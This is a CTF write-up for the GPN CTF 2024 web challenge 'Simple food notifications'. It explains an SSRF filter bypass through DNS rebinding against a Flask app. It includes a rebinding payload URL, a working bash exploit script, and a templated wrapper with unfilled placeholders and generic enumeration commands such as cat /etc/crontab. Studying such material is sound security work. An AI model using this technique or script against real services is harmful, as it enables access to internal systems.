← Back to Writeups
HTBN/AWeb

Simple food notifications

XESXOR8/23/20267 min read
#web#htb#n/a

Simple food notifications

Platform: GPN CTF | Category: Web | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2024-05-31 | Status: Solved Techniques: dns_rebinding_toctou, ip_blocklist_bypass, ssrf_localhost_bypass, time_of_check_time_of_use, urllib3_retry_resolution_desync

Summary

Task: Flask food-ordering app with an SSRF sink that validates the resolved IP with ipaddress.is_global before urllib3 fetches the URL; flag served at /vip-meal only to remote_addr 127.0.0.1. Solution: DNS rebinding TOCTOU via 1u.ms — host resolves to public 8.8.8.8 during the is_global check (passes), then urllib3's connect-timeout-and-retry triggers a fresh resolution after the dnsmasq 2s cache expires, rebinding to 127.0.0.1 and hitting the loopback-only VIP endpoint.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: gpn24 | ID: 20240531_gpn24_simple_food_notifications
  • Tags: flask, ssrf, toctou, dns_rebinding, internal_service, is_global_bypass, urllib3, dnsmasq, loopback
  • Indicators: separate DNS resolution for IP validation vs HTTP request, ipaddress.is_global blocklist on getaddrinfo result, urllib3.request re-resolves host independently on retry, dnsmasq min-cache-ttl forces short DNS cache, vip endpoint gated only by remote_addr == 127.0.0.1
  • Source: 20240531_gpn24_simple_food_notifications.md

Foothold

Vulnerability / Misconfiguration

  1. Dns_rebinding_toctou
  2. Ip_blocklist_bypass
  3. Ssrf_localhost_bypass
  4. Time_of_check_time_of_use
  5. Urllib3_retry_resolution_desync
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • dns_rebinding_toctou
  • ip_blocklist_bypass
  • ssrf_localhost_bypass
  • time_of_check_time_of_use
  • urllib3_retry_resolution_desync
  • Tags: flask, ssrf, toctou, dns_rebinding, internal_service, is_global_bypass, urllib3, dnsmasq, loopback

Original Writeup

<details><summary>Click to expand original content</summary>

Simple food notifications — GPN CTF 2024 (gpn24)

Description

We are a new high tech startup in the food industry. In other words we are a new restaurant. Our last system was too complex, we made it simpler for you.

A Flask app handout (tar.gz) with full source was provided. The title/theme ("simpler") foreshadows the flag: why make it complex when you can make it simple. The goal is to coerce the server into requesting an internal, loopback-only endpoint that returns the flag.

Analysis

The app is a small restaurant ordering system. Key routes and logic from app/app.py:

  • The FLAG is read from /flag.
  • /vip-meal returns the flag only if request.remote_addr == "127.0.0.1", otherwise 401 "You are not dressed appropriate to see even vip meals." So the server itself must request http://127.0.0.1/vip-meal (classic SSRF to loopback).
  • /order (POST, form param url) is the SSRF sink. Globally rate-limited to one request per 60s. It spawns a background thread create_meal(id, url).
  • /notification/<id> (GET) returns JSON {id, message, status} — this is how the attacker reads back the SSRF response body (and thus the flag).

create_meal(id, url) flow:

  1. time.sleep(secrets.randbelow(15-5)+5) — random 5–15s "let him cook".
  2. CHECK (DNS resolution #1): addresses = socket.getaddrinfo(urllib3.util.parse_url(url).host, 80).
  3. For each resolved address: if not ipaddress.ip_address(addr).is_global: -> REJECTED. This blocks every private/loopback/link-local IP. Confirmed: 127.0.0.1, 0.0.0.0, 169.254.169.254, 10/192.168, ::1, ::ffff:127.0.0.1 all have is_global == False; 8.8.8.8 / 1.2.3.4 are is_global == True.
  4. USE (DNS resolution #2): r = urllib3.request('GET', url, redirect=False, timeout=urllib3.Timeout(30)). urllib3 re-resolves the host independently when it opens the connection.
  5. Stores r.data in notifications[id]["message"], status DONE.

Environment (entrypoint.sh, dnsmasq.conf):

  • entrypoint.sh runs dnsmasq --user=root &, sets /etc/resolv.conf to nameserver 127.0.0.1, then runs Flask on port 80.
  • dnsmasq.conf: min-cache-ttl=2, server=8.8.8.8, listen-address=127.0.0.1, no-resolv. The min-cache-ttl=2 is the deliberate challenge knob — it forces every DNS answer (even TTL=0) to be cached for 2 seconds.
  • requirements.txt: flask==3.1.3, requests==2.34.2, urllib3==2.7.0.

Vulnerability class

SSRF via DNS rebinding (TOCTOU — Time-Of-Check / Time-Of-Use). The is_global blocklist is checked against the result of DNS resolution #1 (getaddrinfo), but urllib3 performs its own independent DNS resolution #2 when it opens the connection. If the hostname resolves to a public IP during the check and to 127.0.0.1 during the use, the loopback filter is bypassed and the request hits 127.0.0.1/vip-meal with remote_addr == 127.0.0.1.

Why naive payloads fail

  • Direct loopback/private payloads (127.0.0.1, 0.0.0.0, ::1, ::ffff:127.0.0.1, 169.254.169.254, decimal/octal/hex variants) all fail the is_global check (all non-global).
  • urllib3 URL-parser confusion tricks (userinfo @, backslash \@, #@) do not desync here: BOTH the check (urllib3.util.parse_url(url).host) and the actual request use the same urllib3 parser, so they always agree on the host. Verified empirically — parser confusion is a dead end here. DNS-level rebinding is the real path.

Solution

The dnsmasq 2-second cache obstacle (the crux)

The check (getaddrinfo) and the use (urllib3) run back-to-back with a sub-millisecond gap. With min-cache-ttl=2, the second resolution normally hits the dnsmasq cache and returns the same IP as the first → both see the public IP → no rebind. Verified: back-to-back getaddrinfo inside the container both returned 8.8.8.8.

Winning insight: the real gap between check and use is created by urllib3's connect-timeout + retry, not by the code. When urllib3 first resolves to the public decoy IP (from cache) and tries to connect to PUBLIC_IP:80, the connection hangs (port 80 closed/filtered on the decoy, ~connect-timeout). When the connect fails, urllib3 retries, performing a NEW getaddrinfo. By then (>2s later) the dnsmasq 2s cache has expired and the rebind window is active, so the retry resolves to 127.0.0.1 and connects to loopback.

Instrumented timeline (getaddrinfo hook inside the container):

[res t=0.10] -> ['8.8.8.8', '8.8.8.8', '8.8.8.8']   # CHECK passes is_global
[res t=0.10] -> ['8.8.8.8']                          # urllib3 try1 (cache) -> connects 8.8.8.8:80, hangs
[res t=30.23] -> ['127.0.0.1']                       # urllib3 RETRY after timeout -> rebound to loopback
USE status=200  FLAG retrieved

DNS rebinding service: 1u.ms

1u.ms (free, zero-config, by @neexemil / Emil Lerner) provides controllable rebinding via hostname syntax:

  • make-<IP1>-rebind-<IP2>-rr.1u.ms resolves to IP1 on the first query, then to IP2 within a timeout window (default 5s).
  • Window tunable via rebindfor<interval> (e.g. rebindfor5m).
  • A unique prefix yields a fresh independent window per attempt: <prefix>-make-...-rr.1u.ms.
  • Logic: "if no requests in last <interval> → IP1, else IP2." Confirmed with dig.

Final payload host:

<unique>-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms
  • IP1 = 8.8.8.8 (is_global == True → passes filter; its :80 hangs from the container, giving the timeout/retry gap).
  • IP2 = 127.0.0.1 (loopback → hits /vip-meal as 127.0.0.1).
  • rebindfor5m = 5-minute window, chosen to FAR exceed the total attack time (~30s, one urllib3 connect-timeout cycle). This turns a probabilistic race into a deterministic, first-try exploit.

Important lesson: a too-short window like rebindfor30s FAILED in testing because the urllib3 connect-timeout consumed the whole window before the retry. Always size the rebind window to comfortably exceed the full attack duration.

Full payload URL:

http://<unique>-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms/vip-meal

Exploitation steps

  1. POST /order with url=http://<unique>-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms/vip-meal. Response gives a notification id (10 lowercase-alnum chars).
  2. Poll GET /notification/<id>. Status: RECEIVEDCOOKING (during the 5–15s sleep + urllib3 timeout/retry, ~30–40s total) → DONE.
  3. When DONE, the message field holds the rendered /vip-meal page: "Our chef cooked the beast meal for our vip customers, here is the flag GPNCTF{...} with some caviar on top."
  4. Mind the global 60s rate-limit on /order between attempts.

Working exploit (run.sh)

#!/bin/bash
# Usage: ./run.sh http://REMOTE_HOST:PORT
set -e
BASE="${1:?usage: ./run.sh http://host:port}"
PREFIX="sfn$RANDOM$RANDOM"
REBIND="${PREFIX}-make-8.8.8.8-rebindfor5m-127.0.0.1-rr.1u.ms"
URL="http://${REBIND}/vip-meal"
RESP=$(curl -s -X POST "$BASE/order" --data-urlencode "url=$URL")
NID=$(echo "$RESP" | grep -o 'notification/[a-z0-9]*' | head -1 | cut -d/ -f2)
for i in $(seq 1 60); do
  J=$(curl -s "$BASE/notification/$NID")
  ST=$(echo "$J" | sed -n 's/.*"status": *"\([^"]*\)".*/\1/p')
  case "$ST" in
    DONE) echo "$J" | grep -o 'GPNCTF{[^}]*}'; exit 0;;
    FAILED|REJECTED) echo "$J"; exit 1;;
  esac
  sleep 3
done

Final run against the live target (verified)

Target: https://wood-fired-pizza-alongside-julienned-gremolata-sm1n.gpn24.ctf.kitctf.de

  • /vip-meal external = 401 (as expected).
  • order id pyzjcs00x0, polled COOKING ... at poll 13 → DONE.
  • Flag retrieved on first attempt.
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR